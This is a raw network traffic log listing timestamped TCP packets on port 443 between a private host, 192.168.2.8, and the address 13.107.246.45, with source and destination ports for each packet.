Nov 20, 2024 03:22:10.978010893 CET	443	50049	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:10.978104115 CET	443	50049	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:10.978163958 CET	50049	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:10.978241920 CET	50049	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:10.978269100 CET	443	50049	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:10.978283882 CET	50049	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:10.978291988 CET	443	50049	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:10.980603933 CET	50054	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:10.980660915 CET	443	50054	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:10.980753899 CET	50054	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:10.980894089 CET	50054	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:10.980921984 CET	443	50054	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:11.343523026 CET	443	50050	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:11.344052076 CET	50050	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:11.344080925 CET	443	50050	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:11.344459057 CET	50050	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:11.344466925 CET	443	50050	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:11.359302998 CET	443	50051	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:11.359658957 CET	50051	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:11.359677076 CET	443	50051	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:11.359996080 CET	50051	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:11.360002995 CET	443	50051	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:11.446973085 CET	443	50050	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:11.447005987 CET	443	50050	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:11.447047949 CET	443	50050	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:11.447052002 CET	50050	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:11.447088003 CET	50050	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:11.447272062 CET	50050	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:11.447297096 CET	443	50050	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:11.447309971 CET	50050	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:11.447324038 CET	443	50050	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:11.449872971 CET	50055	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:11.449914932 CET	443	50055	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:11.449964046 CET	50055	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:11.450117111 CET	50055	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:11.450130939 CET	443	50055	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:11.456183910 CET	443	50052	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:11.456645966 CET	50052	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:11.456737995 CET	443	50052	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:11.457180977 CET	50052	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:11.457195997 CET	443	50052	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:11.461294889 CET	443	50051	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:11.461692095 CET	443	50051	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:11.461755991 CET	50051	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:11.461838961 CET	50051	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:11.461838961 CET	50051	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:11.461884022 CET	443	50051	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:11.461913109 CET	443	50051	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:11.463931084 CET	50056	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:11.463959932 CET	443	50056	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:11.464013100 CET	50056	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:11.464129925 CET	50056	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:11.464142084 CET	443	50056	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:11.572788954 CET	443	50053	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:11.573359013 CET	50053	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:11.573373079 CET	443	50053	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:11.573797941 CET	50053	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:11.573802948 CET	443	50053	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:11.655056000 CET	443	50052	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:11.655370951 CET	443	50052	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:11.655416012 CET	443	50052	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:11.655497074 CET	50052	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:11.655497074 CET	50052	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:11.655601978 CET	50052	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:11.655601978 CET	50052	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:11.655661106 CET	443	50052	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:11.655692101 CET	443	50052	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:11.658294916 CET	50057	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:11.658337116 CET	443	50057	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:11.658432961 CET	50057	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:11.658557892 CET	50057	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:11.658569098 CET	443	50057	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:11.662693024 CET	443	50054	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:11.663064003 CET	50054	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:11.663093090 CET	443	50054	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:11.663446903 CET	50054	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:11.663459063 CET	443	50054	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:11.678421021 CET	443	50053	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:11.679073095 CET	443	50053	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:11.679152966 CET	50053	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:11.679192066 CET	50053	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:11.679192066 CET	50053	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:11.679224014 CET	443	50053	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:11.679234982 CET	443	50053	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:11.681602001 CET	50058	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:11.681647062 CET	443	50058	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:11.681756973 CET	50058	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:11.681905031 CET	50058	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:11.681917906 CET	443	50058	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:11.766087055 CET	443	50054	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:11.766402960 CET	443	50054	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:11.766498089 CET	50054	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:11.766566038 CET	50054	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:11.766566038 CET	50054	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:11.766594887 CET	443	50054	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:11.766618013 CET	443	50054	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:11.769387007 CET	50059	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:11.769426107 CET	443	50059	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:11.769511938 CET	50059	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:11.769649982 CET	50059	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:11.769658089 CET	443	50059	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:12.114130020 CET	443	50055	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:12.114506006 CET	50055	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:12.114537954 CET	443	50055	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:12.114898920 CET	50055	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:12.114905119 CET	443	50055	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:12.129642963 CET	443	50056	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:12.129973888 CET	50056	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:12.129993916 CET	443	50056	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:12.130424976 CET	50056	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:12.130430937 CET	443	50056	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:12.374439955 CET	443	50055	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:12.374511003 CET	443	50055	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:12.374598026 CET	50055	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:12.374624014 CET	443	50056	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:12.374658108 CET	443	50056	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:12.374694109 CET	50056	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:12.374707937 CET	443	50056	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:12.374722004 CET	443	50056	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:12.374767065 CET	50056	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:12.374830961 CET	50056	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:12.374845028 CET	50055	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:12.374847889 CET	443	50056	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:12.374856949 CET	50056	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:12.374860048 CET	443	50055	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:12.374861956 CET	443	50056	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:12.374876022 CET	50055	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:12.374881983 CET	443	50055	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:12.377168894 CET	443	50057	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:12.377223969 CET	443	50058	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:12.377994061 CET	50057	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:12.378015995 CET	443	50057	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:12.378132105 CET	50058	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:12.378144026 CET	443	50058	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:12.378371954 CET	50057	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:12.378376961 CET	443	50057	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:12.378528118 CET	50058	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:12.378531933 CET	443	50058	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:12.379261971 CET	50060	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:12.379319906 CET	443	50060	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:12.379390955 CET	50060	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:12.379498005 CET	50061	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:12.379517078 CET	50060	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:12.379535913 CET	443	50060	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:12.379575014 CET	443	50061	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:12.379641056 CET	50061	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:12.379725933 CET	50061	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:12.379745007 CET	443	50061	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:12.479707956 CET	443	50058	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:12.479827881 CET	443	50058	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:12.479899883 CET	50058	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:12.480058908 CET	50058	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:12.480076075 CET	443	50058	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:12.480079889 CET	50058	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:12.480084896 CET	443	50058	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:12.482381105 CET	50062	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:12.482423067 CET	443	50062	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:12.482508898 CET	50062	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:12.482630968 CET	50062	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:12.482646942 CET	443	50062	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:12.483695984 CET	443	50057	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:12.484016895 CET	443	50057	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:12.484110117 CET	50057	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:12.484110117 CET	50057	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:12.484133005 CET	50057	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:12.484143972 CET	443	50057	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:12.486972094 CET	50063	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:12.487025976 CET	443	50063	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:12.487090111 CET	50063	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:12.487248898 CET	50063	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:12.487268925 CET	443	50063	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:12.571177006 CET	443	50059	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:12.571718931 CET	50059	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:12.571746111 CET	443	50059	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:12.572170019 CET	50059	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:12.572175026 CET	443	50059	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:12.674668074 CET	443	50059	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:12.675121069 CET	443	50059	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:12.675223112 CET	50059	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:12.675223112 CET	50059	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:12.675255060 CET	50059	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:12.675271988 CET	443	50059	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:12.677875042 CET	50064	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:12.677897930 CET	443	50064	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:12.678230047 CET	50064	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:12.678230047 CET	50064	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:12.678250074 CET	443	50064	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:13.029321909 CET	443	50061	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:13.029937983 CET	50061	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:13.030039072 CET	443	50061	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:13.030342102 CET	50061	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:13.030358076 CET	443	50061	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:13.054524899 CET	443	50060	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:13.054976940 CET	50060	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:13.055022955 CET	443	50060	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:13.055365086 CET	50060	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:13.055372000 CET	443	50060	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:13.125817060 CET	443	50063	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:13.126239061 CET	50063	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:13.126286030 CET	443	50063	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:13.126867056 CET	50063	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:13.126878977 CET	443	50063	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:13.132181883 CET	443	50061	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:13.132694960 CET	443	50061	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:13.132760048 CET	50061	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:13.132807016 CET	50061	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:13.132807970 CET	50061	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:13.132841110 CET	443	50061	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:13.132863045 CET	443	50061	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:13.135029078 CET	50065	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:13.135063887 CET	443	50065	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:13.135122061 CET	50065	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:13.135270119 CET	50065	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:13.135279894 CET	443	50065	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:13.154081106 CET	443	50062	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:13.154583931 CET	50062	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:13.154620886 CET	443	50062	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:13.154978991 CET	50062	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:13.154989004 CET	443	50062	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:13.183571100 CET	443	50060	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:13.183664083 CET	443	50060	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:13.183757067 CET	50060	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:13.183927059 CET	50060	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:13.183927059 CET	50060	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:13.183973074 CET	443	50060	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:13.184000969 CET	443	50060	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:13.186892986 CET	50066	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:13.186928034 CET	443	50066	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:13.187081099 CET	50066	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:13.187297106 CET	50066	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:13.187309980 CET	443	50066	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:13.225924015 CET	443	50063	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:13.226197004 CET	443	50063	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:13.226274967 CET	50063	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:13.229526043 CET	50063	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:13.229526043 CET	50063	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:13.229569912 CET	443	50063	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:13.229595900 CET	443	50063	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:13.232539892 CET	50067	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:13.232573032 CET	443	50067	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:13.232626915 CET	50067	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:13.232783079 CET	50067	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:13.232790947 CET	443	50067	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:13.259016991 CET	443	50062	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:13.259322882 CET	443	50062	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:13.259391069 CET	50062	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:13.261894941 CET	50062	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:13.261894941 CET	50062	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:13.261940956 CET	443	50062	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:13.261969090 CET	443	50062	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:13.264448881 CET	50068	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:13.264559031 CET	443	50068	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:13.264662027 CET	50068	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:13.264787912 CET	50068	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:13.264811993 CET	443	50068	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:13.318289042 CET	443	50064	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:13.318973064 CET	50064	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:13.318990946 CET	443	50064	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:13.319453001 CET	50064	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:13.319457054 CET	443	50064	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:13.417162895 CET	443	50064	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:13.417234898 CET	443	50064	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:13.417290926 CET	50064	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:13.417309999 CET	443	50064	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:13.417345047 CET	443	50064	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:13.417448997 CET	50064	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:13.417469978 CET	50064	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:13.417469978 CET	50064	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:13.417483091 CET	443	50064	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:13.417490005 CET	443	50064	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:13.419991016 CET	50069	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:13.420104980 CET	443	50069	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:13.420202017 CET	50069	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:13.420361996 CET	50069	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:13.420387983 CET	443	50069	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:13.769273043 CET	443	50065	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:13.769777060 CET	50065	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:13.769793987 CET	443	50065	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:13.770232916 CET	50065	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:13.770237923 CET	443	50065	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:13.821865082 CET	443	50066	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:13.822460890 CET	50066	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:13.822474957 CET	443	50066	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:13.822803974 CET	50066	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:13.822807074 CET	443	50066	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:13.866693974 CET	443	50067	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:13.867100000 CET	50067	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:13.867109060 CET	443	50067	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:13.867486954 CET	50067	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:13.867491007 CET	443	50067	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:13.878881931 CET	443	50065	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:13.878961086 CET	443	50065	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:13.879019022 CET	50065	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:13.880698919 CET	50065	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:13.880716085 CET	443	50065	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:13.880723953 CET	50065	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:13.880728960 CET	443	50065	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:13.883064032 CET	50070	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:13.883162022 CET	443	50070	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:13.883253098 CET	50070	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:13.883363962 CET	50070	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:13.883404970 CET	443	50070	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:13.911617041 CET	443	50068	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:13.912158966 CET	50068	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:13.912173033 CET	443	50068	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:13.912542105 CET	50068	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:13.912549019 CET	443	50068	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:13.925219059 CET	443	50066	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:13.925421000 CET	443	50066	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:13.925481081 CET	443	50066	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:13.925482988 CET	50066	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:13.925542116 CET	50066	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:13.925584078 CET	50066	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:13.925584078 CET	50066	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:13.925596952 CET	443	50066	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:13.925604105 CET	443	50066	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:13.927887917 CET	50071	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:13.927963018 CET	443	50071	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:13.928044081 CET	50071	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:13.928159952 CET	50071	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:13.928185940 CET	443	50071	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:13.976242065 CET	443	50067	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:13.976321936 CET	443	50067	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:13.976440907 CET	50067	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:13.976461887 CET	50067	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:13.976469040 CET	443	50067	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:13.976476908 CET	50067	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:13.976480007 CET	443	50067	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:13.978277922 CET	50072	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:13.978372097 CET	443	50072	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:13.978436947 CET	50072	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:13.978563070 CET	50072	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:13.978600979 CET	443	50072	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:14.013900995 CET	443	50068	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:14.014574051 CET	443	50068	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:14.014611959 CET	443	50068	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:14.014657974 CET	50068	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:14.014725924 CET	50068	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:14.014725924 CET	50068	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:14.014725924 CET	50068	443	192.168.2.8	13.107.246.45
